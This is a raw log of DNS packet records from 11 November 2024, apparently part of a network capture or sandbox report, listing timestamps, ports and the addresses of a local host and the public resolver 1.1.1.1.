Nov 11, 2024 18:50:46.617790937 CET	64230	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.618241072 CET	54701	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.618936062 CET	62332	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.619049072 CET	51421	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.619122982 CET	53638	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.619259119 CET	55119	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:46.622522116 CET	53	61831	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.622534990 CET	53	58370	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.626885891 CET	53	51390	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.628753901 CET	53	54701	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.630258083 CET	53	55119	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.630373001 CET	53	51553	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.632478952 CET	53	57801	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.642530918 CET	53	61404	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.648618937 CET	53	64230	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.648895025 CET	53	57503	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.650338888 CET	53	53638	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.650352955 CET	53	51421	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.651088953 CET	53	62332	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:46.939205885 CET	53	58406	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.400434017 CET	55848	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.400835991 CET	64696	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.403865099 CET	51035	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.411246061 CET	53	64696	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.411264896 CET	53	55848	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.413199902 CET	56438	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.416704893 CET	56893	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.422676086 CET	53	56438	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.434925079 CET	49680	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.435077906 CET	57454	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.435734034 CET	57487	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.435889006 CET	53	51035	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.437319040 CET	55384	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.437546968 CET	50086	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.440196037 CET	53	56893	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.443262100 CET	53571	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.443675995 CET	53	57487	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.444561958 CET	53	49680	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.444983006 CET	53	57454	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.446749926 CET	53	55384	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.448077917 CET	53	50086	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.449141979 CET	62712	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.451913118 CET	54504	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.454118013 CET	53	53571	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.456053019 CET	60164	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.456732988 CET	61603	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.458127975 CET	62959	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.458564997 CET	53853	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.458807945 CET	53	62712	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.460107088 CET	50390	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.460827112 CET	64633	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.462630987 CET	53	54504	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.466062069 CET	53	60164	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.466531992 CET	53	61603	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.469893932 CET	64975	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.469975948 CET	53	53853	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.470179081 CET	53	50390	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.470716000 CET	59228	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.471797943 CET	50765	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.471995115 CET	56977	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.472156048 CET	51073	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.472409964 CET	56570	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.475270033 CET	53	62959	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.476733923 CET	58988	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.477016926 CET	56278	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.477226019 CET	54945	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.477245092 CET	51195	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.477442980 CET	55641	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.477581978 CET	61158	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.477641106 CET	49925	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.477782965 CET	53755	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.477953911 CET	56189	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.478113890 CET	54749	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.478399992 CET	64388	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.481293917 CET	53	59228	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.481616020 CET	53	50765	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.481803894 CET	53	51073	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.482194901 CET	53	56570	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.485016108 CET	53	61158	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.486852884 CET	53	55641	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.486963034 CET	53	49925	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.487257004 CET	53	56189	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.487473965 CET	53	53755	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.487483978 CET	53	64388	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.487880945 CET	53	58988	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.489917994 CET	53	56977	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.490645885 CET	53	64633	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.495208979 CET	53	51195	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.495336056 CET	56431	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.495898962 CET	50402	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.496181965 CET	49385	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.496411085 CET	64171	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.496603966 CET	52848	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.496630907 CET	57002	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.496788979 CET	65214	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.496970892 CET	52361	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.497080088 CET	61854	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.497157097 CET	55366	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.497245073 CET	51879	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.497384071 CET	50617	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.497607946 CET	62792	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.497771025 CET	54287	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.497936964 CET	58833	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.498084068 CET	55027	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.498217106 CET	52962	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.500942945 CET	53	64975	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.501128912 CET	54720	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.501174927 CET	64071	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.501405954 CET	56742	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.501431942 CET	61207	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.501810074 CET	57914	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.502006054 CET	63246	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.502130985 CET	54953	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.505413055 CET	53	65214	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.506383896 CET	53	49385	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.507105112 CET	53	52361	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.507116079 CET	53	52848	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.507128000 CET	53	61854	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.507234097 CET	53	51879	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.507277966 CET	53	64171	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.507436991 CET	53	56278	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.507448912 CET	53	50617	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.507563114 CET	53	54945	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.508382082 CET	53	52962	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.508980036 CET	53	62792	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.509195089 CET	53	61207	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.509529114 CET	53	54749	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.509587049 CET	50478	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.510622025 CET	61076	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.510687113 CET	62616	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.511758089 CET	53	54953	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.511770010 CET	53	64071	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.512567997 CET	53	57914	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.518148899 CET	57542	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.519071102 CET	53	50478	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.521226883 CET	53	62616	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.525950909 CET	53	50402	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.527004004 CET	53	57002	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.527254105 CET	53	57542	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.527498007 CET	53	56431	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.527877092 CET	53	55366	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.528024912 CET	53	54287	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.528111935 CET	53	58833	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.529417992 CET	53	55027	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.532030106 CET	53	54720	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.532418013 CET	53	56742	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.533590078 CET	53	63246	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.542565107 CET	53	61076	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.833403111 CET	56396	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.834949017 CET	53930	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.837419033 CET	61010	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.838953972 CET	65230	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.839664936 CET	56938	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.841047049 CET	59307	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.841763020 CET	53677	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.846122980 CET	53	56396	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.848392963 CET	53	53930	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.857395887 CET	53	59307	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.858802080 CET	53	53677	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.858962059 CET	56927	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.859544992 CET	53423	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.860491037 CET	63170	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.862023115 CET	53	65230	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.862391949 CET	59213	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.865293026 CET	64501	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.865422964 CET	65504	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.868166924 CET	63188	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.871754885 CET	63690	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.871882915 CET	60527	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.871984959 CET	53	53423	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.871999979 CET	53	63170	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.872111082 CET	53	61010	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.872580051 CET	58017	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.874620914 CET	53	56938	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.879180908 CET	53	64501	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.880657911 CET	53	63188	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.882071972 CET	60531	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.882488012 CET	58903	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.882709026 CET	51207	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.883059025 CET	49623	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.884946108 CET	53	60527	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.885658026 CET	53	58017	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.886920929 CET	51246	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.890497923 CET	52867	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.890862942 CET	64446	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.891177893 CET	53	63690	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.891947031 CET	51972	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.893291950 CET	53	60531	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.895018101 CET	53	59213	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.896771908 CET	60696	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.897557974 CET	58875	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.897732973 CET	50306	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.897948027 CET	53777	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.898345947 CET	53	65504	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.903822899 CET	53	64446	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.911248922 CET	53	60696	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.912098885 CET	62126	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.912743092 CET	53	52867	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.913491964 CET	53	50306	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.914238930 CET	62881	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.918090105 CET	53	58903	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.918869019 CET	53	51207	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.920059919 CET	53	49623	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.923845053 CET	53	51246	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.924154043 CET	53	62126	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.926141977 CET	53	56927	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.927148104 CET	53	62881	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.928037882 CET	53	51972	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.929702044 CET	53	58875	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.930917978 CET	53	53777	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.931298018 CET	54614	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.931823015 CET	51583	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.932066917 CET	54845	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.932265997 CET	65445	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.932421923 CET	58064	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.933201075 CET	56338	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.933363914 CET	59220	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.940855980 CET	53	54614	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.943129063 CET	63691	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.943651915 CET	53	54845	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.943665028 CET	53	65445	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.945306063 CET	53	58064	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.946074009 CET	54985	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.947243929 CET	53	59220	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.955040932 CET	53	63691	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.957422018 CET	53	54985	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.965086937 CET	53	51583	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.966981888 CET	53	56338	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.974224091 CET	62036	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.974505901 CET	64859	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.975039959 CET	51006	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.975203991 CET	52942	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.975358963 CET	61601	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.975522041 CET	53323	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.975680113 CET	52586	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.975825071 CET	52758	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.975960970 CET	55232	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:47.984812021 CET	53	61601	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.985955000 CET	53	55232	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.987004995 CET	53	52942	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:47.987816095 CET	53	52758	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.005559921 CET	53	62036	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.006102085 CET	53	53323	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.006587982 CET	53	51006	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.006870985 CET	53	64859	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.007091045 CET	53	52586	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.010023117 CET	63592	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.010121107 CET	62318	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.010462046 CET	55240	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.011061907 CET	52235	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.019773006 CET	62120	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.020245075 CET	53	63592	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.020262957 CET	55064	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.020435095 CET	55197	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.020596981 CET	50359	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.020755053 CET	65284	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.021213055 CET	63968	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.021404982 CET	53	55240	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.021421909 CET	53	52235	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.022002935 CET	49236	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.022170067 CET	54955	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.023617029 CET	54334	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.023899078 CET	56524	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.024137020 CET	61070	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.028458118 CET	53	62318	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.029853106 CET	53	50359	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.031006098 CET	53	54955	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.031054974 CET	53	65284	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.031585932 CET	53	55064	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.031845093 CET	53	56524	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.032479048 CET	53	49236	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.035449028 CET	53	61070	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.051256895 CET	53	55197	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.051687956 CET	53	62120	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.051964045 CET	53	63968	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.054430008 CET	53	54334	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.146271944 CET	50480	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.153625965 CET	53	50480	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.160948038 CET	63368	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.161462069 CET	51810	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.171379089 CET	53	51810	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.173532963 CET	63810	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.174246073 CET	56022	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.180671930 CET	61046	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.182830095 CET	57772	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.183003902 CET	53	63810	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.183408976 CET	64947	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.184115887 CET	53	56022	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.185587883 CET	50259	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.186707973 CET	57292	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.188913107 CET	65136	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.189598083 CET	60989	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.192398071 CET	53	63368	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.192459106 CET	63462	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.192946911 CET	63586	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.195041895 CET	57117	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.195357084 CET	53	50259	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.198992968 CET	53	64947	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.199491978 CET	53	65136	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.200701952 CET	53	57772	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.201381922 CET	53	60989	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.203964949 CET	57385	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.204307079 CET	53	63462	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.204739094 CET	53	57117	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.204746962 CET	56539	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.207344055 CET	59821	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.212378979 CET	53	61046	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.217550039 CET	53	57292	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.217583895 CET	53	59821	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.223690033 CET	53	63586	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.232023001 CET	52695	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.232357979 CET	55998	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.232690096 CET	64952	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.235057116 CET	53	56539	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.236362934 CET	56127	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.237519026 CET	57240	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.241262913 CET	51813	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.241573095 CET	61075	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.242046118 CET	61870	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.242275000 CET	53961	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.242428064 CET	53	64952	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.244188070 CET	59931	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.244204044 CET	53	56127	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.244338989 CET	53	52695	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.245587111 CET	57284	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.251590014 CET	53	61870	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.251837969 CET	53	51813	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.252804041 CET	53	53961	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.254383087 CET	53	59931	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.256141901 CET	53	57284	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.264070034 CET	53	55998	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.268712997 CET	53	57240	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.271682978 CET	54911	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.272352934 CET	58801	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.272538900 CET	55548	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.272562981 CET	53	61075	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.272835016 CET	56442	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.275162935 CET	59520	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.275434017 CET	54819	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.275670052 CET	52992	53	192.168.2.6	1.1.1.1
